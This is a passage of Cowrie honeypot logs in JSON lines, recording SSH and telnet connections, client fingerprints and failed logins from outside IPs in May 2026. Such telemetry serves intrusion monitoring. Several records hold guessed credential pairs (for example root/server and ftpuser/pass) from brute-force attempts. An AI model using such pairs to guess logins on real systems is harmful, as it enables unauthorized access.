af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:12.349342Z","src_ip":"60.199.224.2","session":"13d3c96289e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.09960222244263,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:12.919671Z","src_ip":"165.232.131.181","session":"150dee2d0686","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.35239505767822,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:13.161659Z","src_ip":"165.232.131.181","session":"b4d21512796f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"arma3server","password":"123","message":"login attempt [arma3server/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:13.203048Z","src_ip":"60.199.224.2","session":"13d3c96289e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50666,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed5c4d4774e9","protocol":"telnet","message":"New connection: 38.54.119.93:50666 (10.17.0.5:23) [session: ed5c4d4774e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:13.704877Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":41078,"dst_ip":"10.17.0.5","dst_port":22,"session":"b72457de91e2","protocol":"ssh","message":"New connection: 186.113.245.157:41078 (10.17.0.5:22) [session: b72457de91e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:14.309432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:14.317934Z","src_ip":"186.113.245.157","session":"b72457de91e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:14.410494Z","src_ip":"60.199.224.2","session":"13d3c96289e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:14.414909Z","src_ip":"186.113.245.157","session":"b72457de91e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coduoserver","password":"123456","message":"login attempt [coduoserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:14.827051Z","src_ip":"186.113.245.157","session":"b72457de91e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:15.926643Z","src_ip":"186.113.245.157","session":"b72457de91e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":54444,"dst_ip":"10.17.0.5","dst_port":23,"session":"20f91dd50c63","protocol":"telnet","message":"New connection: 45.81.23.16:54444 (10.17.0.5:23) [session: 20f91dd50c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:16.812555Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":54454,"dst_ip":"10.17.0.5","dst_port":23,"session":"c30166ec668f","protocol":"telnet","message":"New connection: 45.81.23.16:54454 (10.17.0.5:23) [session: c30166ec668f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:18.009092Z"}
{"eventid":"cowrie.session.closed","duration":12.726135015487671,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:18.020973Z","src_ip":"45.169.209.69","session":"fe01b21fa2bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.299919605255127,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:22.112347Z","src_ip":"45.81.23.16","session":"20f91dd50c63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.1322808265686035,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:25.141167Z","src_ip":"45.81.23.16","session":"c30166ec668f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.81926131248474,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:28.541690Z","src_ip":"192.211.53.160","session":"f9470d041281","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.69287919998169,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:29.423712Z","src_ip":"192.211.53.160","session":"0113a47a37cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60980,"dst_ip":"10.17.0.5","dst_port":23,"session":"6769519719bd","protocol":"telnet","message":"New connection: 38.54.119.93:60980 (10.17.0.5:23) [session: 6769519719bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:33.314543Z"}
{"eventid":"cowrie.session.closed","duration":31.776081562042236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:35.155142Z","src_ip":"62.210.97.77","session":"87559e4ffd9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.30276823043823,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:36.112615Z","src_ip":"192.211.53.160","session":"3604396a07cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00400948524475,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:38.543086Z","src_ip":"181.189.73.151","session":"88608468d974","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":45642,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f95faef8faa","protocol":"ssh","message":"New connection: 152.32.162.42:45642 (10.17.0.5:22) [session: 6f95faef8faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:38.772544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:38.777000Z","src_ip":"152.32.162.42","session":"6f95faef8faa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:39.033702Z","src_ip":"152.32.162.42","session":"6f95faef8faa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix1","message":"login attempt [bitrix/bitrix1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:40.093771Z","src_ip":"152.32.162.42","session":"6f95faef8faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:41.354220Z","src_ip":"152.32.162.42","session":"6f95faef8faa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":44044,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fbcdc9eee8f","protocol":"telnet","message":"New connection: 45.81.23.16:44044 (10.17.0.5:23) [session: 5fbcdc9eee8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:41.697698Z"}
{"eventid":"cowrie.session.closed","duration":7.0794336795806885,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:48.777035Z","src_ip":"45.81.23.16","session":"5fbcdc9eee8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.115.234","src_port":35712,"dst_ip":"10.17.0.5","dst_port":22,"session":"71549f1c395e","protocol":"ssh","message":"New connection: 14.103.115.234:35712 (10.17.0.5:22) [session: 71549f1c395e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:55.926614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:55.931148Z","src_ip":"14.103.115.234","session":"71549f1c395e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:58.983892Z","src_ip":"14.103.115.234","session":"71549f1c395e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":49074,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c6ed1159370","protocol":"ssh","message":"New connection: 186.10.86.130:49074 (159.203.135.109:22) [session: 9c6ed1159370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:00.147570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:00.155433Z","src_ip":"186.10.86.130","session":"9c6ed1159370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:00.312070Z","src_ip":"186.10.86.130","session":"9c6ed1159370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frank","password":"test","message":"login attempt [frank/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:00.923638Z","src_ip":"186.10.86.130","session":"9c6ed1159370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:02.291862Z","src_ip":"186.10.86.130","session":"9c6ed1159370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":47176,"dst_ip":"10.17.0.5","dst_port":22,"session":"7df44c2b5b5a","protocol":"ssh","message":"New connection: 177.85.247.230:47176 (10.17.0.5:22) [session: 7df44c2b5b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:02.334576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:02.340351Z","src_ip":"177.85.247.230","session":"7df44c2b5b5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:02.444611Z","src_ip":"177.85.247.230","session":"7df44c2b5b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"pass","message":"login attempt [ftpuser/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:02.886711Z","src_ip":"177.85.247.230","session":"7df44c2b5b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git2019","message":"login attempt [git/git2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:02.953048Z","src_ip":"14.103.115.234","session":"71549f1c395e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:03.994941Z","src_ip":"177.85.247.230","session":"7df44c2b5b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:04.193489Z","src_ip":"14.103.115.234","session":"71549f1c395e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.33005356788635,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:05.034759Z","src_ip":"38.54.119.93","session":"ed5c4d4774e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42726,"dst_ip":"159.203.135.109","dst_port":22,"session":"b448b0848cdd","protocol":"ssh","message":"New connection: 60.199.224.2:42726 (159.203.135.109:22) [session: b448b0848cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:11.079727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:11.084787Z","src_ip":"60.199.224.2","session":"b448b0848cdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:11.288457Z","src_ip":"60.199.224.2","session":"b448b0848cdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server","message":"login attempt [root/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:12.138803Z","src_ip":"60.199.224.2","session":"b448b0848cdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:13.345832Z","src_ip":"60.199.224.2","session":"b448b0848cdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":58208,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9645b7c361f","protocol":"ssh","message":"New connection: 186.113.245.157:58208 (10.17.0.5:22) [session: a9645b7c361f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:17.098893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:17.104199Z","src_ip":"186.113.245.157","session":"a9645b7c361f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-g